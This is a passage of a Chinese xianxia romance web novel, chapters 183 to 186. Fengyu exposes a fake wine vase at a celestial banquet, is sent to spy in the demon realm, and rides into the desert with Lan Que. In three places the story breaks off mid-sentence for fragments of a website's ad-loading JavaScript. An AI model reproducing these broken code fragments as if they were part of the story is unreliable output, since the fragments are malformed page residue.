凤钰看着他往北边越走越远,深入幽暗的林中,迷失了方向,转头又向东边行径了几步。 原来是个路痴。 凤钰原本不想与他再有交集,但没想到他在林中转了几圈,居然碰对了方向,朝他这边走来。凤钰潦草披上衣服,一头湿法披散在后,脚尖一点,轻飘飘地落在此人身后。 “谁?”兰公子察觉身后气息一变,转过头,眼前突然撞进一朵紫红色的花。 “凤尾兰花?”兰公子眼神一愣,凤尾兰花是魔域盛产的花,这里怎么会有?抬头一看,就见一位衣衫不整的浪荡公子,微湿的头发将衣服也浸湿,眼角上挑带着几分轻浮之意看着他。他原先没有与凤钰打过照面,不知凤钰的模样,如今以为他是哪个纨绔子弟,拿了这朵意味不明的凤尾兰花调侃他。 他的眼神变了变,在凤钰的眼中颇为有趣。 这位公子面容俊朗,神色坦然,气息干净,没有魔族的侵略性,倒是有三分温和三分单纯。若不是他早知对方的身份,可能会误以为是天庭哪个上仙,毕竟他看上去太像个正道之士,倒是让凤钰有些意外。 兰公子瞥了一眼凤钰手中的凤尾兰花,蹙眉问道:“你是何人?在这里做什么?” 凤钰笑而不答,向前走了几步,欲将手中的兰花插在兰公子的发梢。 兰公子“啪”地一声 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 打开他的手,兰花应声落地,他退开几步,脸色难看起来:“公子请自重。” 凤钰噗嗤一笑,也不见恼意,将兰花捡起来收回袖中,抱起双臂带着一丝戏谑望着他:“兰阙公子人如其名,犹如这朵凤尾兰花一般高洁雅致。” 他不像是行事诡谲的魔域之主兰霄,应当是兰霄那位不谙世事的弟弟兰阙。 兰阙眼神一颤,不知对方怎么知道他的身份,脑海中思索了一番,忽然听出了一丝端倪,惊讶道:“你是凤钰公子?” 凤钰挑了下眉,将他往另一个方向带:“天色晚了,兰公子早些回聚贤阁休息罢。” 兰阙多看了他几眼,眼中似乎裹挟着好奇和新鲜,竟也忘了自己来这里的初衷。凤钰知道兰阙定是在外听了些关于他的闲言碎语,悄悄在心里琢磨呢。兰阙跟着他走了两步,脚下一顿:“凤钰公子可是刚泡完温泉?” 凤钰心里一悬,面不改色地笑道:“哪里有什么温泉,我只是寻了个借口在山中走走。山里湿气太重,身上都染上了水汽,我得回去换身衣服。兰阙公子,此地不宜久留。” 兰阙“哦”了一声,不疑有他,随着凤钰回到了聚贤阁。 泰沧山顶有一处颇为险峻的悬崖峭壁,沧澜宴的大殿就悬在这座崖上。 盛宴开席前,各方奇仙异士摩拳擦掌、暗自较劲,降落在大殿上的方式也各有不同。有仙从崖边飞身一跃,轻盈身姿掠过半空,稳稳立在殿前玉阶前;有仙乘祥云、仙鹤而来,穿过渺渺云烟,飘然落在大殿之上;也有仙踏法器、驾祥兽而来,空中不乏光影交加,纷纷现身在大殿四周。 凤钰踏着潇洒的步伐,走到自己的固定席位坐下,打量着这一次沧澜宴都来的是何方神圣。 啧,大多还是老面孔,真无趣。 目光从殿上扫过,忽然与某人一撞,凤钰的动作缓了一下,并未察觉自己嘴角勾起一丝散漫的笑意。 兰阙坐在斜前方冲他招了招手,他今日身着蓝白色缎面华服,流畅的金丝云肩高翘,乌黑的长发束起,戴着一清透白玉冠,干净又利落。 见凤钰没有反应,兰阙有些讪讪地放下手。他身旁还有一位器宇轩昂的男子,一身黑紫乌墨鎏金服,发束玉珠黑龙冠,眉毛似剑,眼神凌厉,骇人的气势让附近仙人敬而远之。他低头对兰阙耳语几句,向凤钰看过来,眼里带着不认同。 凤钰冲他笑得愈加灿烂,心想这两个兄弟区别真大,还好兰阙长相上没随他。 那日天帝主持沧澜宴,宴会上说了什么,凤钰一点没听进去,只记得开宴后舞美轮番上演,美食、美酒铺满了案几。他就一个人拎着酒壶,漫不经心地应付四周或违心、或有意的奉承,与人说些听上去有趣、实际空无一物的闲话。 有面生的人过来敬酒:“凤钰公子,听闻你游历四方,见识广博,可有什么有趣的见闻说来听听?” 凤钰摆摆手说道:“天界天大物博,若是真想知道有趣的事,自己去看看。” 有人打趣说道:“凤钰公子这是不想告诉我们呢。” 凤钰故作沉思,道:“既然如此,我先抛砖引玉给大家讲个故事。这个故事是虚是实,大家自有定夺。有一年我在青丘游玩,无意间发现了一个山庄,那座山庄藏在云雾之中,虚无缥缈气息森冷。” 凤钰感觉到一束目光落在他身上,他侧头向青丘的永昭殿下浅浅笑了一下,举杯向她遥敬一杯。 听众问道:“青丘的山庄可不少,你说的是哪一个?” “这山庄有什么稀奇之处?” 凤钰接着说:“我孤身一人敲了敲山庄的门,等了很久,才听到一个声音说请进。那山庄虽然设计别致,有一楼一院一阁,但哪里比得上天庭的殿堂。” 听众问道:“那声音是谁?山庄里住的什么人?” 凤钰煞有其事地啧啧道:“山庄里住的可是个美人。” 听众眼前一亮:“什么美人?” 凤钰的目光幽幽从他们脸上滑过,突然阴森一笑:“蛇蝎美人。” 听众“啊”了一声:“发生了什么?” 凤钰给自己又斟了杯酒:“她定是觊觎小爷我的姿色,所以想要将我锁在山庄中与她朝朝暮暮,所以跟我说山庄之门每逢朔月才开。我将计就计等到了朔月,看她还有什么把戏,却发现她想先我一步离开山庄。” “为什么要离开山庄?然后呢?” 凤钰摊了摊手:“我哪里知道,我偏不随她的意,把她抓回去,自己离开了山庄。这都不是最古怪的地方......” “还有古怪之处?” 凤钰饮了一口酒,眯着眼说:“等我出来的时候,我发现山庄的位置变了,出现在了另一个地方。” “位置变了?”听众觉得匪夷所思。 “你是说山庄不在原来的地方了?怎么会这样?” 突然有人灵机一动,声音带着颤抖叫道:“扭转乾坤!那座山庄有宝物可以扭转乾坤!” “什么扭转乾坤?从未听闻有这样的奇事,莫不是在诓骗我们!”有仙小声嘀咕。 “天下之大无奇不有,说不定是真的呢。” 众人一阵哗然,天界虽然有不少宝物,但能够扭转乾坤的山庄却是闻所未闻,讨论声不绝于耳,有的面露惊疑,有的蹙眉摇头,还有的眼中掠过一抹精光。 184. 第 184 章 “哦?居然还有这等奇事?”天帝在座上低声道,他肃然高坐在大殿之上,余光不经意地从凤钰身上划过,似乎只是随意一瞥,目光却带着极为隐蔽的深究。 “或许只是个幻术罢了。”天后淡淡瞥了凤钰一眼,向殿外看去,忽然眼睛一亮,提高了声线道:“你看,谁来了。” 众仙应声向外望去,只见四位面容姣好的童子携一只轻纱薄帐的软榻自天外而来。童子用鲜艳的绸缎扎着发髻,身着华服,衣料泛着浅浅的五色光华,竟比在场许多仙人穿得都好。 软塌之上,轻纱随风飘起,露出一袭亮泽的红衣与卓卓昳丽的身姿,一缕黑色发丝垂在衣襟前,半截白皙小巧的下巴,红唇微微勾起。 “啪嗒” 不知是谁的杯子滚落在地上。 大殿上一时寂静无声,待几位小童翩然落地,也无人出声打破这高贵的氛围。 凤钰撇了下嘴,有些不耐烦地轻咳了两声,将目光呆滞的某些仙人拉回到现实。 又是那只自恃甚高的花孔雀。 “这位公子是何人?”有些第一次参加沧澜宴的仙家问,虽未看清全貌,但语气中已不知不觉沾上了几分惊叹。 “那位可是个贵人。他是......” 软塌停在大殿前,薄纱间伸出一双玉足,带着一丝慵懒轻轻点落在地上。众仙的眼珠子随着那双脚,缓缓向上打量。 鲜艳的衣裳如繁华簇拥,衬得他肌肤赛雪,金丝勾勒的祥云与鸟雀点缀在衣襟与袖口,乌黑的秀发点缀着几只珠宝镶嵌的金簪,明媚却不艳俗,矜贵而又端庄。起身之时绸缎从肌肤滑下,顾盼回眸之间,仿佛天地黯然失色。 “鸢儿,你怎么才来?”天后非常满意众仙眼中流露出的赞叹,带着几分炫耀之意问道。 公子鸢不紧不慢地走上前,身后四名童子托起他宽大的衣摆。红色如同一条河流,从众仙眼底缓缓淌过。 “姐姐,恕我贪睡,不小心起的迟了,险些误了这万年一次的盛宴。你可生气了?”他微微蹙起那双清风朗月般的眉眼,红唇微启,虽然是在道歉,语气却没有半分低微,倒是这副模样和话语,让人忍不住对他格外宽容。 凤钰在心中冷笑一声,睡死拉倒! 众所周知,公子鸢是天后的弟弟,天后心疼他都来不及,哪里会在大庭广众之下责怪他,于是弯了弯眉眼笑道:“这么重要的场合你也不知道注意,我该拿你怎么办?还好宴会才刚刚开始,罢了罢了,快去落座吧。” 凤钰在心中冷哼一声,又来了,这对虚伪的姐弟!就喜欢在外人面前装模作样! 公子鸢似乎感受到了凤钰不善的眼神,侧身微微向他颔首,目光带着一丝不易察觉的高傲看过来。 凤钰与公子鸢可谓是旧识,不过天庭这帮人就连天帝天后与他也能算上旧识,谁叫他是上古神兽?别的没有,岁数管够。 凤钰与公子鸢不对付也不是一天两天了,他是天界风流纨绔第一人,这名头多与他不着调儿的性子和风流事迹有关。但公子鸢却是实打实的天庭贵公子。虽然他的作风与凤钰一样高调,却从未做过出格逾理之事,自然受人敬仰。 坊间的小道仙闻经常将两人编排在一起比较,不消说,凤钰一定是那个落了下风的。 故,凤钰不喜欢参加沧澜宴与公子鸢脱不了干系。 凤钰眯了眯眼,唇角勾起一缕不正经的笑容。 公子鸳在天后身旁落座,与周围的仙家寒暄。许多仙家本着百闻不如一见的心态前来敬酒,想要与公子鸳搭上关系。公子鸳虽然在人前装成一副好脾气,但也不是谁都能攀附的人,一具慧心妙舌,将来的人怎么来怎么送了回去。 凤钰对公子鸳矜贵的姿态十分不屑,却忍不住不去看他,仿佛多看一眼便多了些评头论足的资本。 公子鸳与人闲谈,不知谈到了什么,轻笑出声,眼眸若有若无地向左侧撇下一眼,然后轻轻拿起茶杯,掩去唇边余留的意味不明的暧昧。 凤钰顺着他的余光向左边看去,挑了挑眉,啊,原来还有这样的事。 公子鸢左侧不远处坐着另一位身份尊贵之人,她的面容宛如皎皎明月,眉眼间映着山川湖海, 一身绰约的白衣,金丝银线绘成繁冗的纹样,肩头流线上扬,发间又缀以缠丝金兽珠钗,浑然一体,凌然有度,掩不住与生俱来的赫赫威严。 凤钰与青丘的永昭殿下打过几次照面,永昭殿下虽贵为青丘之主,却不是端着的人。说的好听是带着些动物的野性和肆意,不好听那就是游离于规则之外的野蛮与任性,所以才能在天庭与魔域之间周旋。 啧啧,这两人之间该不会有什么故事吧? 凤钰心里不知为何涌上一丝窃喜,大抵是因为他知道永照殿下身边原本是有人的,那位虽然身份不及公子鸢高贵,但也是相伴多年的青梅竹马。 这下有好戏看了。 这不,天后从大殿之上款款走到永昭殿下身侧,低声与她说起话来,永昭殿下神色坦荡,倒是天后的目光显然不那么简单。 天庭若是与青丘联姻,天界的格局恐怕会出现大变动。不过,这又关他什么事?该警觉的应当是魔域。 凤钰又将目光转回兰家那两位身上,他们若是知道这件事,会有何反应? 凤钰不由露出一丝浅笑,眼中添了几分玩味,真是越来越有意思了。 宴会中,几名仙女随着仙乐婀娜多姿地起舞。领舞打扮得精致,粉彩丝带缠绕在发髻上,像两只翩翩起舞的蝴蝶。手中捧着一只高挑的瓶子,瓶子仿佛与她的身体融为一体,在跳跃中随着她的舞姿转动。她挽着瓶子倾身,而另一个仙女纤细的手腕在下方托着,仿佛是在斟酒。 音调一转,如同珠玉落盘,共饮仙琼的仙女们不似方才拘谨,神色舞姿大胆轻快起来。 一曲终了,宾客掌声雷动。 只见为首的仙女走到天帝天后前,将手中的瓶子交给了天后身旁的侍女。 众仙家议论纷纷:“看来这瓶子是天后的收藏。” “这瓶子玉体通透,水光饱满,不知叫什么名字?” “天后定然不会收藏寻常玩意儿,这瓶子可是有什么稀奇之处?” 凤钰扯了扯嘴角,这不是前些日子他给荷花仙子照葫芦画瓢变的那只“玉宝瓶”吗? 天后受到众人关注,喜上眉梢,压着唇角得意道:“稀奇算不上。这瓶子唤做玉宝瓶,不过是能将倒入的水变作仙琼罢了。” 将水变成酒的瓶子确实不稀奇,但仙琼可不是寻常的酒,是用天庭的仙琼花蜜酿的酒。仙琼花百年一开,上千年才能采集一瓶仙琼,味道清醇回甘,又可强身健体延年益寿,所谓是酒中的稀世珍宝。天界多数仙家略有耳闻,却没有机会品尝一番。 不少好酒之人两眼放光,盯着玉宝瓶流露出垂涎之色。 “天后既然将玉宝瓶都请了出来,应当还有别的安排吧?”有人问道。 天后回答:“不错,今日诸位齐聚一堂,我便将这玉宝瓶拿出来,让诸位都尝尝仙琼的滋味。愿天界的情谊如仙琼一般细水长流、回味无穷。” 众仙此起彼伏的欢声。 凤钰勾起唇角,别有深意地看了天后一眼。 侍女在众目睽睽之下将水倒入玉宝瓶中,为到场的宾客一个接一个斟上珍贵的仙琼。清 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 冽的液体从瓶中倾泻而出,仿佛一缕缀着星光闪耀的薄纱。宾客陶醉地闭上眼,凑到近前深吸一口气,缓缓呼出:“香,真香!我从未闻过这么清澈干净的香气!” 凤钰不觉轻笑出声。 席间不断有人大声赞叹:“此酒只应天庭有,何处能得几回闻!” “仙琼盛名满天下,今日一品不虚此行!” “温润如水,清冽如泉,味甘且美,余韵悠长。” “味美佳酿!味美佳酿!” 天帝天后对他们的反应极为满意,这才让侍女斟上一杯。天后缓缓将杯子放在唇边,深吸一口气,眼底掠过一丝迟疑。她低头看了一眼杯中,目光顿时一凝,悄悄扫了一眼四周的宾客,见他们不疑有他,沉下心来,将杯子放回桌上。 天帝眉间蹙起,虽面色不改,眼光却隐隐有些迫人,在她耳边沉声问道:“这是怎么回事?” 天后难掩委屈之色:“我也不知道。” 天帝故作镇定地看了眼大殿上的宾客,压着怒气:“你最好祈祷不会有人发现。” 天后眯了眯眼,小声说:“不会有人发现的,就算发现了他们也不会说。”手却攥紧了袖口。 宾客相互敬酒,殿上一时喧闹非常。 偶尔也有人蹙起眉头,觉得记忆深处好像曾有过这样的味道,不过这种怀疑很快就抛之脑后,他怎么可能在别处品尝过仙琼呢? “来,我们敬天帝天后一杯。”有人提议道。 众仙站起身举起酒杯,遥敬天帝天后。 永昭殿下垂眸淡淡瞥了杯中的酒水一眼,眼底多了一丝玩味,却也没有拆穿,举起酒杯遥遥望了一眼公子鸢。 公子鸢会心一笑,眼波流转,宛若星辰,惊艳了众人。 “不愧是天界第一美男......”有人感叹道。 凤钰深吸一口气,挺直了后背,心叹凤凰怎么可能输给孔雀,你们这些目光短浅的人。 一众仙家对“仙琼”啧啧称奇,脸上洋溢着欣喜和激动,捧着酒杯一点一点抿着,润一润嘴唇,舌尖试探都“望而却步”。 凤钰拢了拢衣服,看着杯中的水,再看看周围的仙家,眼中露出轻蔑的笑意,笑意多少带着些讽刺。沧澜宴本是为了集百家之长,融百家之所思,现在却变成了甘酒嗜音、攀附权贵的场合。 这群仙家居然连是水是酒都分不清楚,自欺欺人实在可笑。 看来他再待在这个地方也没什么意思,不如换个肆意的地方花天酒地,也好过和他们继续虚与委蛇。 凤钰趁无人注意,悄然向后退去。 就在此时,一个声音穿透了大殿,如同一枚玉器落地碎裂的清脆,打破了众人沉浸的美梦与虚荣。 “这不就是水吗?” 凤钰脚步一顿,抬眸之间看向声音来处时,眼里的不屑褪去,生出一种唯恐天下不乱的兴奋。 大殿一隅,兰阙握着空酒杯,一双清亮的眸子诧异地望向不远处的诸位名流。 大殿上忽然变得安静起来。 “这怎么可能是水......"须臾,有仙人反驳道。 “就是,你怕是没品尝过好酒吧?” “这可是仙琼!仙琼啊!怎么能和水相提并论?” 兰阙迟疑了一下,余光瞄了一眼兰霄,又道:“难道只有我喝的是水?” 他倾身抓住身旁一人手中的杯子,那人向后躲了一下,似乎不愿与他接触。 兰阙垂眸扫了一眼杯中残留的液体,疑惑地抬眼道:“这杯中装的确实是水。” 那人脸色一变,执拗道:“不,你胡说……我刚才喝的是仙琼!就是仙琼!” 185. 第 185 章 沧澜宴结束不久,某日凤钰应天帝命令来到玉霄殿的琼书阁。琼书阁乃白玉雕漆,七七四十九根梁柱雕刻着龙凤纹样,庄重恢弘,四角派天兵把守,平日除了天帝与神官,闲散人等不得靠近。 凤钰与天帝相识多年,知道他不会平白无故召见,在大门前深吸一口气,踏着轻浮的步调迈进门槛,道:“今日不知吹的什么风,天帝竟有闲情逸致邀我寒暄?” 空旷的书阁内,对着大门乃是一副顶天立地的神仙卷,上头描绘着诸天神官、仙侍,样貌神态细致入微,雍容有度,正拿各色眼光瞧着他。 他人虽走进阁中,影子却还落在门外,声音在空旷的书阁里回荡。 那副神仙卷下,天帝身着白金龙纹云锦袍,发束金丝玉冠,端坐在一席宽大的白玉桌边,合上手中的册子,眉宇之间映着一丝疲惫:“你来了。” 天帝示意让他入座,仙侍为两人泡了一壶茶,清幽的香气萦绕在书阁之中。 待仙侍退下后,天帝问道:“我交代你的事怎么样了?” 凤钰执着茶杯,垂眸道:“你吩咐我将华胥氏搅乱,趁机夺取华胥族的三件宝物,我依照你的命令做了,却不想华胥族中早有纷乱,竟然因此酿成大祸。一朝之间华胥氏覆灭,未留下一人,族中的三件宝物也不知所踪。据我打探的消息,华胥族长恐怕在此之前早有准备,提前将宝物转移了出去。” 闻言,天帝眼神变得晦暗不明,嘴角绷得极紧,沉默半晌,道:“华胥族存在的时间悠久,骨子里还保留着陈腐的规矩教条,不知变通,早就不适应如今的天界。这些年苟延残踹,气数早就耗尽了,你大可不必放在心上。不过,我让你寻找三件宝物,你却空手而归,你打算接下来怎么做?”天帝语气未变,但眼中的思量却让他身上一寒,隐隐感到一丝威胁之意。 “你说,那三件宝物还在世上,只是流落到了其他地方?可有线索?” 凤钰放下茶杯,回道:“若是我猜的不错,华胥族长恐怕对天庭的意图有所察觉,所以在族中大乱时才未向天庭求助,宝物自然也不可能交由天庭神官保管。” “青丘和魔域。”天帝沉声道:“华胥氏真是负隅顽抗,就算交给了青丘和魔域又怎样?落入天庭不过是迟早的事。” 凤钰对他的话笑而不语,轻轻抿了几口清茶。 天帝对他这副不慌不忙的模样有些不悦:“这件事继续交给你来办,华胥族长与魔域之主有些交情,说不定会将宝物交给他,你即日前往魔域探一探究竟。若是魔域拿到了锁魂铃......”天帝杵在案桌幽幽叹了口气,斟酌道:“我们的速度就要加快了。” 凤钰脸上挂着笑道:“我虽然喜欢在天界闲逛,但对魔域并不熟悉,天帝不如将这样重要的差事交给其他亲信?若是我再像在华胥族一般一无所获,可就没脸在天庭待着了。” 天帝摆摆手:“凤钰,不要忘了我说过的。只要你拿到了这三样宝物,我就许你神官之位。一神之下,众仙之上,从今以后,天界无人敢轻视你。先前华胥族的事我不追究,你若是能将魔域搅得如同华胥族一般,也算是你的本事。” “那日在沧澜宴中,你已见过魔域之主,你觉得他是什么样的人?”天帝突然问道。 凤钰回忆起魔域之主兰霄,不知为何脑海中总是跳出另一个清新亮丽的影子。 “凤钰与魔域之主虽打过照面,但并无交谈,对他是什么样的心性,全无思绪,天帝能否指点一二?”凤钰委婉地将问题又推了回去。 天帝追忆道:“兰霄清醒镇定,有勇有谋,不像传闻中的魔族那般野蛮凶残,且能将混乱无序的魔域整治成现今这副模样,甚至想与天庭分庭抗礼,绝不是等闲之辈。这对我们来说不是件好事。凤钰,你这次前往魔域一定要记住你的身份,我们的目标只有华胥氏遗留的三件宝物。” 凤钰点头称是:“我一定谨遵天帝的吩咐。” 天帝抬抬手:“去做准备吧,这次不要让我失望。” 凤钰作为天庭闲散人等,没有在任何一方挂职,恰好在外走动不会引人怀疑。天帝知道凤钰空有一身虚名,但缺一个代表身份地位的官职,便以此为饵,吊着他为天庭办事。 凤钰拒绝多次,天帝又增加了砝码,最终他避无可避、退无可退,终于接下了潜入华胥族夺取宝物的任务。却不知这个任务牵一发而动全身,如同海啸一般席卷天界上万年,而此刻只是刚刚拉开序幕。 凤钰从琼书阁中走出,余光瞥见窗棂边摆着一只瓷瓶,模样与那碎裂的玉宝瓶一般无二。 思及荷花仙子那日在沧澜宴上被天兵拖走时,声嘶力竭地喊着天帝,看来事情并非那么简单。或许他猜对了,那个玉宝瓶本就是假的。天帝恐与荷花仙子的事被天后察觉,为了不授人以柄,有意借天后的手除了荷花仙子。 他虽是看客,又何尝不是推波助澜的帮手? 若不是他对天帝尚有用处,说不定也会被卷进去,虽不至被剜下一块肉,却会惹一身骚。 不过真真假假又如何说得清? 凤钰望着头顶的艳阳,拖着身后长长的影子向外走去。日晖慷慨地泼洒在他身上,他却觉得有些冷。 啧啧,天庭还真是吃人不吐骨头的地方。 三个月后。魔域。 “公子,您看还需要点什么?”薄纱半拢,缥缈如云,将一室隔成了两方天地。 朦胧的纱帘之后,男子修长的身体若隐若现。他赤裸着脚坐在地毯上,一手拎着一只小巧的瓷杯,抬头醉眼惺忪地看了一眼候在帘外的侍者。身旁跪着一个身姿婀娜的美娇娘,纤细的手指衔起一只晶莹的葡萄,放入他的口中。牙齿咬破葡萄,汁水四溅,甜美的滋味在口中弥漫。 “外面为什么这么吵?”男子含混不清地问。 “公子,红宵苑平日就是这样,客人多了,吵闹是难免的。我替您将帘帐放下挡挡,或许会好些。”说罢,侍者将半拢的纱帘全部放下来,室内的光线更暗了,气氛也变得愈加旖旎。 凤钰站起身,推开房间的窗户,向街面望去。街上人来人往,却绕开了红宵苑的大门。他微微俯下身,楼下两排武装齐全的魔兵候在红宵苑门口严阵以待。 凤钰关上窗,对侍者问道:“这次来的好像不是寻常客人?” 美娇娘的胳膊从后面搂住他的脖子,在他颈间轻轻呵气,娇俏地说:“红宵苑是声色场所,魔兵偶尔过来巡查也是自然的。别管他们了。” 凤钰莞尔一笑:“确实,我哪有闲工夫管他们。” 话音未落,帘子突然被掀了起来,光线涌入幽暗的房间。凤钰眯了眯眼,几名魔兵跃入房内,帘外一人压着声说:“带走。”几名魔兵就要上前抓他。 凤钰身影一动,不着痕迹地从他们手下溜走,一脸玩世不恭的神 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 情道:“几位也是来吃酒的?你们可能有所误解,虽然小爷我天生丽质,但我委实不是红宵苑的小倌,你们要寻欢作乐找错人了。” 魔兵没有停顿,上前围住他,围成了一道铜墙铁壁。 美娇娘不明所以,仍半倚在凤钰身侧,娇嗔道:“你们怎么回事?他是我的客人!你们要干什么?” 帘外的将领脸板得很凶,不耐烦地瞥了她一眼:“有人举报这里藏了天庭细作,我们要将所有外来的人带回去审问。” 美娇娘和侍者吃了一惊,看凤钰的眼神变了变,这位公子潇洒大方,他们还以为来了个金主。若真是天庭的细作,给他们十个胆子也不敢收留啊。 凤钰唇边勾起一丝轻慢的笑,不慌不乱道:“你们有何证据证明我是天庭的细作?” 将领不入套,命令道:“我们无需向你证明,带走!” 凤钰倒也没有挣扎,对左右逼近的魔兵说了声“我自己走”,便昂首挺胸向外走了出去,一派器宇轩昂,还不忘回头冲美娇娘抛了个媚眼:“等我回来。”不像是被人带走审问,反倒像是被请去当座上之宾。 凤钰随着那名将领走出红宵苑,眼珠一转,突然凑近了压着声音问:“你知道我是谁吗?” 将领被惊得一激灵,闪开了几步,瞪着眼睛望着他:“你是谁?” 凤钰一双光华流转的凤眸始终带着媚而不娇的笑意,双手插入袖口,抱着双臂道:“你不知道我是谁就敢抓我,勇气可嘉啊。” 将领将他上下打量一番,此人器宇不凡,确实不像是偷偷摸摸的细作。但细作也不可能将细作二字写在脸上,将领严肃道:“不管你是谁都要随我们回去,这是命令!” 凤钰呵呵一笑:“你们还命令不了我。据我所知,现在巡卫军在兰阙部下,叫他来见我。” 此话一出,将领眼神一变,将凤钰彻头彻尾地打量了一番:“你是何人?你认识兰阙殿下?” 凤钰点点头:“我不仅认识他,还和他关系甚好。你若不信,大可以通报一声。” 将领眉宇紧锁,问到身后魔兵:“红宵苑可还有其他外来人?” 魔兵拱手道:“回将领,我们将红宵苑搜查了一遍,没有其他可疑的人。” 将领对凤钰依旧不信:“你若是认识兰阙殿下,来魔域为何不与他联络?” 凤钰心道我若是能与兰阙联系上,也就不用举报自己是细作,引你们这些巡卫兵出来了。 凤钰反驳道:“若我真是天庭的细作,也应当是兰阙亲自审问我,不是吗?” 将领深深看了他一眼,觉得他神色不假,便引他去了一座静谧的宅邸。 宅邸在长街一隅,并不显眼。院内布置简单清新,一进门便迎来一阵清新淡雅的幽香。 魔兵远远地守着,盯着凤钰的一举一动,他不便四处走动,于是站在庭院内一棵槐树下发呆。 影子悄悄地从他脚边挪移,不知过了多久,院外响起仓促的脚步声。浅蓝色的身影掠过廊上的格扇窗,兰阙忽的从石拱门绕进来,远远看到一袭鲜艳的橘红色,眼睛一亮,招呼道:“凤钰公子,你怎么来了?怎么不提前和我说一声?” 玉树临风的翩翩公子闻声悠扬转身,凤眼上挑,眼波流转,一束斜阳越过屋檐映在他身上,仿佛为他镀上了一层金边。他唇角含笑,微微倾身作揖,朗声道:“兰阙公子,别来无恙。” 186. 第 186 章 魔域生在荒芜之地,边境是一望无际的大漠。 凤钰与兰阙骑着两匹骏马,从城中走出,行至荒漠,兰阙一抽鞭子,行径速度陡然加快。他束起的长发高高扬起,浅蓝色的身影伏在马匹上,意气风发地驰骋在一望无际的荒漠,向那火红的烈日奔去。 凤钰不爱跑马,懒散地坐在马背上颠簸,颠得身上的骨头都要散架。他心想要是在马上安一张榻就不必承受颠簸之苦,可若是安了榻,岂不就像公子鸢那浮夸的行头一般?要是被人看见,一定以为他在东施效颦。 呵,谁稀罕呐。 兰阙拉起缰绳,将马停下,回头望向落在身后的凤钰:“凤钰,你常年在天庭一定没见过大漠的落日黄昏,那是别样的壮美。” 橙红色的落日将砂砾烧得金黄,沙土仿佛一层一层凝固的热浪。滚烫的气息升腾而起,又在即将到来的寒夜前熄灭。 凤钰笑道:“确实很壮观。”心里想,我比你年长几万岁,哪里有我没见过的景色,只是不常见罢了。 兰阙拉绳回头,与凤钰齐头并进,望着远处快要坠入荒漠的太阳,神色变得柔和。 暖风拂面,他额前的刘海轻轻飞舞,身体在颠簸中慢慢摇晃。兰阙注意到凤钰在打量他,轻笑道:“凤钰,你不看风景吗?” 凤钰不觉尴尬:“对我而言,眼前皆是风景。” 兰阙莞尔:“是吗?原来我也是风景。” 凤钰勾起唇角,凤眼一挑:“大漠广阔无垠,唯有一点绿洲最为珍贵。兰阙就像荒漠中的绿洲,不是风景胜却风景。” 如此肉麻的话若是旁的人听了,定会不知所措,若是泼辣之人可能会当场翻脸。但兰阙心灵纯净,并未产生过多联想,只当凤钰是在拐着弯儿逗弄他,恬淡地笑了一下:“凤钰,我带你来看大漠,不是来调侃我。你该不会是记恨我那日让你醉酒,想捉弄回来吧?” 凤钰凝眉叹了口气,眉目故作忧伤,喃喃道:“我心日月可鉴,句句属实啊。” 兰阙不会将凤钰的话放在心里,凤钰自己也不知话中几分真假,毕竟他嘴里调侃过的人没有上千也有几百,男女老少他自己都数不过来。 落日低垂,渐渐没入荒漠的楞线。 凤钰架着马追逐落日,终究跑不过一天的更迭。日头下去,余温退得很快,一丝凉风席卷沙丘。风沙漫卷,为余辉蒙上了一层朦胧的雾霭。 深沉的蓝色吞噬了天地色彩,若隐若现的星光铺满苍穹。 凤钰追着那道璀璨云川而去,兰阙在他身后呼唤道:“凤钰,别再往前了。那边起风了,大漠的风不能掉以轻心,若是被卷进去就麻烦了。” 耳边风声鹤唳,裹挟着粗糙的砂砾,脸颊很快传来痛意。 但凤钰没有回头,他紧握缰绳,迎风而上,像是着魔一般。 流沙变幻莫测,他驱策的马忽而踏空,长嘶一声,声音如同被砂砾覆盖,很快掩埋在大漠的寂寥中。 “凤钰!”兰阙急忙策马奔来,未走几步,身下马儿忽而向前倾倒,他提身从马鞍跃下,向前一滚,不料沙土下陷,他一时竟然没站起来。 风沙声势渐大,飞扬的沙粒模糊了视线。兰阙从沙堆中升起,抖落一身沙土,焦急望着满目黄沙呼喝道:“凤钰!凤钰你在哪里!” 面前一座沙丘轰然塌陷,滚滚流沙如同河水向低处凹陷,不一会儿,方才所在的位置变换了地势,他的马也不见踪迹。 寒风中,衣袖猎猎,他束起的长发在风中飞扬。 兰阙目光焦急地在昏暗的沙土中搜寻着,忽而见到一抹艳色,就要倾身下坠,身型一晃又猝然顿住,顷刻之间那衣角又不知去向。 “凤钰!凤钰!” 一阵风沙扬起,他挥袖挡开,凹陷的流沙速度减缓,风过之后,四面八方的沙粒汇聚成了弧形沙丘,如同雕刻了一座半月型的堡垒。 兰阙仓促落下,轰的一声,一道蓝色弧光从袖口泄出,带着森冷的寒意,如同排山倒海一般,将沙丘瞬间推平。数万斤沙粒化作烟尘消散,浑浊的气体逐渐下落,如同层层薄雾。 他的胸口随着呼吸微微起伏,再向四处搜寻时,瞥见了半截露出沙土的小臂。他急忙运气将人从沙子里拖出来,见凤钰双目紧阖,拍了拍他的脸颊,惊声道:“凤钰,醒醒!醒醒!” 须臾,凤钰唇齿微颤,溢出一声微不可察的:“水......” “你忍着点,我们马上回去。”兰阙将凤钰背上,双臂环绕着自己的颈项,脚下一蹬,缓缓向遥远的魔域城门飞去。 匍匐在他背后的凤钰幽幽睁开晦暗不明的双眼,眼底隐匿着一缕思索,垂眸之间见兰阙身后的衣裳不知何时划破了一道口子,露出腰侧一截,紧绷的线条因赶路微微颤抖,他不由觉得口中更渴了。 兰阙一路疾驰回到宅邸,将凤钰安置在床上,几名侍从端来水壶,水盆和衣物,他慌忙让开,隔着半扇屏风,坐在卧房外的桌边。 半晌,侍从从房里退下。兰阙上前查看,却见屏风另一侧,凤钰光裸着上身正在换衣,打湿的长发湿哒哒地垂在胸前。 就在他闯入的瞬间,凤钰唇边勾起一丝玩味的笑,不经意间将宽肩窄腰显露出来。 兰阙却先一步转身,似乎还未从刚才的惊惧中回神,喘了口气幽幽道:“凤钰,你......你吓死我了。” 凤钰眼中划过意味不明的光,佯装受惊还未恢复,身型一晃就要倒下。一双澄澈的眼眸对上他眯蒙的眼睛,扶住他的肩头,关切道:“凤钰,可还有哪里不适?” 